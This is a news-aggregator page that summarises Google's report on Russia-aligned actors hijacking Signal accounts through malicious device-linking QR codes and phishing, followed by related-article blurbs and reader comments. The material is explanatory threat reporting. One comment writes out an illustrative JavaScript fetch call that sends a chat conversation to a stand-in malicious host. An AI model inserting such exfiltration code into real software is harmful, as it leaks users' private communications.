Multiple Russia-aligned threat actors actively targeting Signal Messenger
Russia-aligned threat actors are increasingly targeting Signal Messenger accounts, using malicious QR codes and phishing campaigns to exploit vulnerabilities, urging users to enhance security awareness amid evolving threats.
Read original article
Google's Threat Intelligence Group has reported a significant increase in attempts by Russia-aligned threat actors to compromise Signal Messenger accounts, particularly those used by individuals of interest to Russian intelligence. This surge in activity is likely driven by the ongoing conflict in Ukraine, as adversaries seek access to sensitive communications. Signal's popularity among military personnel, journalists, and activists makes it a prime target for espionage. The primary method of attack involves exploiting Signal's "linked devices" feature, where malicious QR codes are crafted to link a victim's account to an actor-controlled instance, allowing real-time eavesdropping. Phishing campaigns have been observed, including fake group invites and tailored phishing kits that mimic trusted applications. Additionally, established threat actors have developed capabilities to steal Signal database files from devices. The report emphasizes the need for heightened awareness and security measures among users of secure messaging applications, as the threat landscape continues to evolve with increasing sophistication and frequency of attacks.
- Russia-aligned threat actors are targeting Signal Messenger accounts amid the Ukraine conflict.
- Malicious QR codes are used to exploit Signal's "linked devices" feature for eavesdropping.
- Phishing campaigns include fake group invites and tailored kits mimicking trusted applications.
- Established threat actors are also stealing Signal database files from devices.
- Users of secure messaging apps are urged to enhance their security awareness and practices.
Related
Eight Signs of the Danger of Telegram
Telegram has 25 million users in Russia and 7 million in Ukraine, serving as a communication tool and a platform for misinformation, raising concerns about its ties to Russian influence.
Is Telegram, Ukraine's most popular messenger app, a Russian Trojan horse?
The arrest of Telegram founder Pavel Durov has raised security concerns in Ukraine, where 72% of citizens use the app for news, amid fears of disinformation and Kremlin ties.
Russia Targeting Ukrainian Military Recruits with Android, Windows Malware
Google reported a Russian cyberespionage campaign, UNC5812, targeting Ukrainian military recruits through malware on Telegram. The campaign aims to disrupt mobilization efforts and discredit the military, prompting Google to intervene.
Ukraine Asks If Telegram, Its Favorite App, Is a Sleeper Agent
Ukrainian officials are worried about Telegram's security risks, advocating for secure alternatives like Signal, while seeking regulations to combat disinformation and enhance transparency amid its widespread use.
Russian phishing campaigns exploit Signal's device-linking feature
Russian threat actors are exploiting Signal's "Linked Devices" feature through phishing campaigns using malicious QR codes, allowing unauthorized access to accounts and monitoring conversations. Users are advised to enhance security measures.
- Many users express skepticism about Signal's security, highlighting the risks associated with linked devices and phishing attacks.
- There are suggestions for improving security measures, such as requiring manual confirmation for device linking and adding options to restrict linking additional devices.
- Some commenters discuss the broader implications of using Signal, questioning its effectiveness in providing privacy and security.
- Concerns are raised about the geopolitical context of the attacks, with some commenters linking the issue to larger narratives about Russia and cybersecurity.
- Several users share resources and personal experiences related to the vulnerabilities, emphasizing the need for increased awareness and caution among Signal users.
42 commentsI'm only surprised it took this long for an in-the-wild attack to appear in open literature.
It certainly doesn't help that signal themselves have discounted this attack (quoted from the iacr eprint paper):
"We disclosed our findings to the Signal organization on October 20, 2020, and received an answer on October 28, 2020. In summary, they state that they do not treat a compromise of long-term secrets as part of their adversarial model"The last bit adds an interesting facet, even if you manage to open source the client and manage to make it verifiably buildable by the user, you still need to distribute it on the iOS store. Anything can happen in the publish process. I use iOS as the example because its particularly tricky to load your own build of an application.
And then if you did that, you still need to do it all on the other side of the chat too, assuming its a multi party chat.
You can have every cute protocol known to man, best encryption algorithms on the wire, etc but end of the day its all trust.
I mention this because these days I worry more that using something like signal actually makes you a target for snooping under the false guise that you are in a totally secure environment. If I were a government agency with intent to snoop I'd focus my resources on Signal users, they have the most to hide.
Sometimes it all feels pointless (besides encrypted storage).
I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?
Signal is doing its best to be a web scale company and also defend human rights. Individual dignity matters.
This is not a simple conversation.
Never trust a country at war—any side. Party A blames B, Party B blames A, but both have their own agenda.
Missing from their recommendations: Install No Script: https://noscript.net/
Ironic, coming from Google. As Android is THE only OS where usage of alphanumeric passwords is nearly impossible, as Android limits the length of a password to arbitrary 16 characters, preventing usage of passphrases.
https://www.microsoft.com/en-us/security/blog/2025/02/13/sto...
Reading this for the first time, what is a “re-invasion”? Do they mean the explained cyber attack as second invasion aka “re-invasion”?
If somehow, the victims phone provider can be compromised or coerced into cooperating, the government actor can intercept the text message Signal and others use for verification and set up the victims account on a new device.
It's very easily done if the victim is located in an authoritarian county like Russia or Iran, they can simply force the local phone provider to co-operate.
Oh how Americans make fun of the CCP but watching all the tech bros bend the knee was embarrassing.
Also they try to get the actual database SQL files from Windows devices and Android devices.
Related
Eight Signs of the Danger of Telegram
Telegram has 25 million users in Russia and 7 million in Ukraine, serving as a communication tool and a platform for misinformation, raising concerns about its ties to Russian influence.
Is Telegram, Ukraine's most popular messenger app, a Russian Trojan horse?
The arrest of Telegram founder Pavel Durov has raised security concerns in Ukraine, where 72% of citizens use the app for news, amid fears of disinformation and Kremlin ties.
Russia Targeting Ukrainian Military Recruits with Android, Windows Malware
Google reported a Russian cyberespionage campaign, UNC5812, targeting Ukrainian military recruits through malware on Telegram. The campaign aims to disrupt mobilization efforts and discredit the military, prompting Google to intervene.
Ukraine Asks If Telegram, Its Favorite App, Is a Sleeper Agent
Ukrainian officials are worried about Telegram's security risks, advocating for secure alternatives like Signal, while seeking regulations to combat disinformation and enhance transparency amid its widespread use.
Russian phishing campaigns exploit Signal's device-linking feature
Russian threat actors are exploiting Signal's "Linked Devices" feature through phishing campaigns using malicious QR codes, allowing unauthorized access to accounts and monitoring conversations. Users are advised to enhance security measures.